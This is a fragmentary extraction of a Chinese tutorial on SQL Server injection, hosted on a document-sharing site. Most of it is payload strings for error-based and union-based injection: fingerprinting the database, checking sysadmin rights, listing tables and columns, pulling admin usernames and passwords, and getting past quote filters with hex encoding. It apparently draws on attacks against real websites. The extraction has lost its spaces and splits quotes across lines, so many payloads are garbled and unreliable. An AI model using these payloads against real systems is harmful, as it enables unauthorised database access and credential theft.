Sqlserver数据库注入总结终Word格式.docx
《Sqlserver数据库注入总结终Word格式.docx》由会员分享,可在线阅读,更多相关《Sqlserver数据库注入总结终Word格式.docx(41页珍藏版)》请在冰点文库上搜索。
![Sqlserver数据库注入总结终Word格式.docx](https://file1.bingdoc.com/fileroot1/2023-5/7/4d01c555-609a-4a37-bb99-081a4f3c64bc/4d01c555-609a-4a37-bb99-081a4f3c64bc1.gif)
='
2'
2进一步判断。
可以想象sql语句可能是:
select*fromtablewherestring='
0103'
,这是一个完整的sql语句,可以构造语句:
,我们添加的语句是:
'
2,正好可以使原先的'
左右两边的单引号闭合。
其中在'
的地方我们可以用1=1来代替,sql查询返回的结果是正常的,但是使用a=a返回错误,使用'
a'
返回正确,这里等号两边是数字应该是个特例。
可以在and'
的地方构造需要的sql注入语句。
2.1.2判断是否是mssql
and(selectcount(*)fromsysobjects)>
1and'
!
>
3
Mssql每个数据库都存在表sysobject,因此如果是mssql数据库的话,查询语句返回的结果一定是大于1的,即selectcount(*)fromsysobjects)>
1逻辑是正确的,页面返回正常。
2.1.3mssql版本
and1=(select@@version)and'
其中and'
3是永远成立的条件,语义是字符串'
不等于字符串'
3'
,这里我们可以构造其他任意成立的条件,例如'
1、'
2、'
a等等。
2.1.4当前用户
and1=(selectuser)and'
2.1.5当前数据库
and1=(selectdb_name())and'
当前库为Gwork_ahnd
2.1.6爆出所有数据库
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=1)and'
通过改变dbid的值,如1、2、3等等,所有数据库都可以爆出来。
2.1.7判断用户权限
判断服务器角色:
and1=(selectIS_SRVROLEMEMBER('
sysadmin'
))and'
服务器角色权限有:
sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin等等
判断数据库角色:
and1=(selectis_member('
db_owner'
数据库角色权限有:
public、db_owner等等
当单引号被过滤时候,可以将单引号等字符转化为16进制的,即:
is_member(char(0x64)%2Bchar(0x62)%2Bchar(0x5f)%2Bchar(0x6f)%2Bchar(0x77)%2Bchar(0x6e)%2Bchar(0x65)%2Bchar(0x72))
判断是否是sa权限,需要判断下服务器角色:
selectIS_SRVROLEMEMBER('
),返回1,则是sa权限
sa权限用户具有public和db_owner权限,但是具有public和db_owner权限的用户不一定是sa最高权限。
此处的用户权限是db_owner:
2.2爆表名信息
2.2.1确定表数目
and(selectcast(count(*)asvarchar(100))%2bchar(94)fromsysobjectswherextype='
u'
)=1and'
其中注意几个方面,一个是cast函数的使用,将用户表数据取出后转化为varchar类型,然后和“^”字符连接,“%2b”是字符“+”的url编码形式,“+”在mssql中是连接字符串的。
在这里,必须用%2b代替“+”,不然报错。
Char(94)=^
2.2.2爆第一个表表名
and(selecttop1namefromsysobjectswherextype='
)>
2.2.3爆余下的表名
方法一:
用notin
andconvert(int,(selecttop1namefromsysobjectswherextype='
andnamenotin('
PY_WKJSJDJKS'
)))>
方法二:
用selecttop
andnamenotin(selecttop1namefromsysobjectswherextype='
2.3爆列名信息
2.3.1爆第一个列名,用having1=1
and(select*fromPY_WKJSJDJKShaving1=1)>
Having是要和groupby一起用的,如果不在一起出现,则会报错,因此使用having1=1会爆出表列名。
2.3.2爆第二个列名,用groupby
and(select*fromPY_WKJSJDJKSgroupbyxh)>
Groupby的语法是指定查询结果的分组条件,在select后面的列名数要和groupby后面的列名数要相等,不然会报错。
如上,select后面的列数是表中所有的列,但是groupby后面的列数只有两个,因此报错。
2.4爆数据信息
2.4.1读第一条数据(读Web_InfoKinds表的name列的数据)
and(selecttop1namefromWeb_InfoKinds)>
2.4.2读第二条数据
notin
andconvert(int,(selecttop1namefromWeb_InfoKindswherenamenotin('
部门简介'
这个方法在语法上是没错的,但是就是报错跑不出数据
selecttop
andconvert(int,(selecttop1namefromWeb_InfoKindswherenamenotin(selecttop1namefromWeb_InfoKinds)))>
以上方法二都比方法一高效一点。
其中发现了个问题,就是当需要爆的数据类型是int型时,数据库不显错。
例如知道表名loging_user,列名username(nvarchar)和passwd(nvarchar)(但是数据是像‘123456’这种形式的),userid,当我们爆username的时候,可以使用语句:
convert(int,(selecttop1usernamefromlogin_user))>
1,因为nvarchar向int转化时出错,能够爆出数据。
但是用在爆密码passwd上则不行,convert(int,(selecttop1passwdfromlogin_user))>
1,没有回显,因为都是数字型的,没有类型转化错误。
尝试过奖convert后的int改为别的数据类型,例如varchar、char等等都不行。
还有就是将查询出来的密码用连接符连接一个字符,形如:
(selecttop1passwdfromlogin_user)+a、(selecttop1passwdfromlogin_user)+'
等等,尝试好多也不能报错。
有效的突破方法如下:
1)'
andsubstring((selecttop1passwdfromlogin_user),1,1)=0and'
这个方法需要知道表名和列名,只剩下爆数据的步骤了,正好符合我们现在的需求。
在执行以上语句之前,我们可以先确定列数据的长度,语句如下:
(selecttop1len(passwd)fromlogin_user)=5,将5这个数字换成别的不断测试,知道页面返回正常为止,对于一般的列数据长度不是很长,我们很容易获得列数据的长度信息。
2)selectcount(*)fromtestwheresubstring(pu,2,1)=1andcu='
aaaaaaa'
在本地建了个test数据库,表中建立表test,分别有字段pu(char(10))、cu(char(10))、s(int(4)),如下图所示:
构造查询语句如下:
selectcount(*)fromtestwheresubstring(pu,2,1)=1andcu='
这里可以通过substring函数,逐位爆出字段的数据,前提是pu的数据类型是char/varchar、nchar/nvarchar和binary/varbinary。
如果数据类型换成int型则会出现使用substring函数无效:
所以对于数据类型是int的数据库字段的数据这种方法还是不行的,对于数据类型是非int,但是数据是数字串的(如‘111111’)是可以使用这种方法爆出数据的。
第三章mssql不显错模式注入(字符型注入)
3.1判断是否有注入
结果:
提示有未闭合的引号,通过报错有时可以看到网站目录。
继续测试,用以下语句:
c:
\iknow\docshare\data\cur_work\'
and1=1
将varchar值'
10and1=1'
转换为数据类型为int的列时发生语法错误。
所以判断这里应该是字符型注入。
之后用以下语句做进一步测试:
and1=1--
页面返回正常
and1=2--
页面返回不正常
或
1
2
3.2基本信息
3.2.1判断联合查询数(数据库)
orderby8--
3.2.2构造联合查询语句
and1=2unionselect1,2,3,4,5,6,7,8--
3.2.3数据库版本
and1=2unionselect1,2,@@version,4,5,6,7,8--
3.2.4数据库当前用户
and1=2unionselect1,2,user,4,5,6,7,8--
注:
selectsystem_user();
selectsuser_sname();
selectuser;
3.2.5列出用户
and1=2unionselect1,2,name,4,5,6,7,8frommaster..syslogins--
3.2.6当前用户权限:
(若为sysadmin,返回1,其他返回0)
selectis_srvolemenber('
user'
);
and1=2unionselect1,2,3,4,is_srvrolemember('
ahjianli'
),6,7,8--
IS_SRVROLEMEMBER
3.2.7数据库服务器主机名
and1=2unionselect1,2,3,4,@@servername,6,7,8--
服务器名称为:
TYIIUIY-DCD0664
3.2.8当前数据库
and1=2unionselect1,2,3,4,db_name(),6,7,8--
当前数据库名为:
coffe
3.2.9列出数据库
and1=2unionselect1,2,3,4,name,6,7,8frommaster..sysdatabases--
3.3列出当前数据库表
and1=2unionselect1,2,3,4,name,6,7,8fromsysobjectswherextype='
--读数据库表
v'
--读数据库视图
列出master数据库表:
and1=2unionselect1,2,3,4,name,6,7,8frommaster..sysobjectswherextype='
--
3.4列出表列
and1=2unionselect1,2,3,4,name,6,7,8fromsyscolumnswhereid=object_id('
admin'
)--从admin表中读列
3.5爆数据信息
and1=2unionselect1,2,password,4,username,6,7,8fromadmin--从admin表中读数据
第四章mssql特殊情况的绕过方法(数字型注入)
注点:
,这个点可以使用报错来获得敏感信息,不能使用unionselect联合查询。
其中报错的时候在数据库第一个表时使用xtype='
报错,需要用xtype=char(117)来进行绕过。
还有就是使用union查询时,发现了一个问题,orderby可以获取表的字段数,但是使用unionselect1,2……的时候报出运算元类型错误:
text与int不相容的错误,然后将select后面的数字改为null,还是不能绕过,报出的错误是:
不能选取text资料类型作为distinct,因为无法比较。
其中如果数据类型是text、ntext和image都会报这个错误。
又使用unionallselect,还是无法通过。
具体显错模式报爆数据如下:
4.1基本信息
4.1.1判断存在注入
and1=2
1=1返回正常页面,1=2返回不正常,可以确定这个点事数字型的
4.1.2判断是否是mssql
4.1.3判断mssql版本
4.1.3.1显错模式
and(select@@version)>
这里爆出了数据库的版本为2005,操作系统是2003。
4.1.3.2orderby不显错模式突破方法
在这里可以使用orderby,从而知道表的字段数,但是使用unionselect时出错。
出现:
“操作数类型冲突:
ntext与int不兼容”错误。
这里得说明一下为什么会出现以上错误。
大多数情况下,我们使用union联合查询可以很快获得目标数据的组织情况,然而当我们遇到ntext、text或image数据类型时,union查询就不管用了。
在sqlserver中这种情况下或抛出错误:
不能以DISTINCT方式选择text、ntext或image数据类型,因为它不可比。
因为ntext、text、image数据字段可能存储非常多的数据,默认情况下,数据库为提高效率会强制排除以上类型的大字段中的相同的数据,这样就相当于在sql查询语句中加入了distinct关键字。
而又因为这种类型的数据量可能非常大,数据库无法对这种类型的字段进行有效的比较,而distinct又要求数据库进行比较,从而导致上述的错误现象。
突破方法:
1.用null代替数字
将数字换成null,还是出错;
使用unionallselect也不能突破
这个点无论怎么弄,都不能突破,还是挺变态的。
下面介绍一个可以突破的例子:
注点(数字型):
先orderby出有28个表字段,再构造union联合查询语句:
and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
在union后用null代替数据
and1=2unionallselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
出现错误:
ntext与int不兼容”
2.Union后加all关键字突破
and1=2unionallselectnull,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--
页面能返回但是不显示数据,因为数据全被null填充了。
看了下,页面上显示的都是大块的内容,那可以猜想他们的数据类型是text或ntext,这时需要找到这些数据类型的字段位置,可以逐一将null换成数字,看是否报错,如果某位置报错,则这个位置是text型数据,全部text数据分布如下:
and1=2unionallselect1,2,3,4,5,6,null,null,9,10,11,12,13,14,15,16,17,18,19,20,21,null,23,null,25,null,27,28--
这时我们逐一将null替换成爆数据的语句,例如@@version、user等等,当我试到第二个null的位置处时发现爆出了数据。
and1=2unionallselect1,2,3,4,5,6,null,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,null,23,null,25,null,27,28--
4.1.4当前用户
and(selectuser)>
当前用户为DB89956251
4.1.5当前数据库
and(selectdb_name())>
当前数据库为alung
4.1.6爆出所有数据库
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=1)
第一个数据库为master
4.1.7判断用户权限
and1=(selectIS_SRVROLEMEMBER('
))
这里由于过滤了单引号,所以返回错误。
尝试将'
转化为16进制0x2773797361646D696E27以及char(0x27)+sysadmin+char(0x27)都不能突破,但是将十六进制数写成如下形式可以如破:
0x273D0069006E002700
and1=(selectis_member('
Db_owner十六进制变形:
0x640062005F006F0077006E0065007200
4.2爆表名
4.2.1爆第一个表表名
))>
在这里由于网站过滤了单引号,所有直接输入以上命令会出现错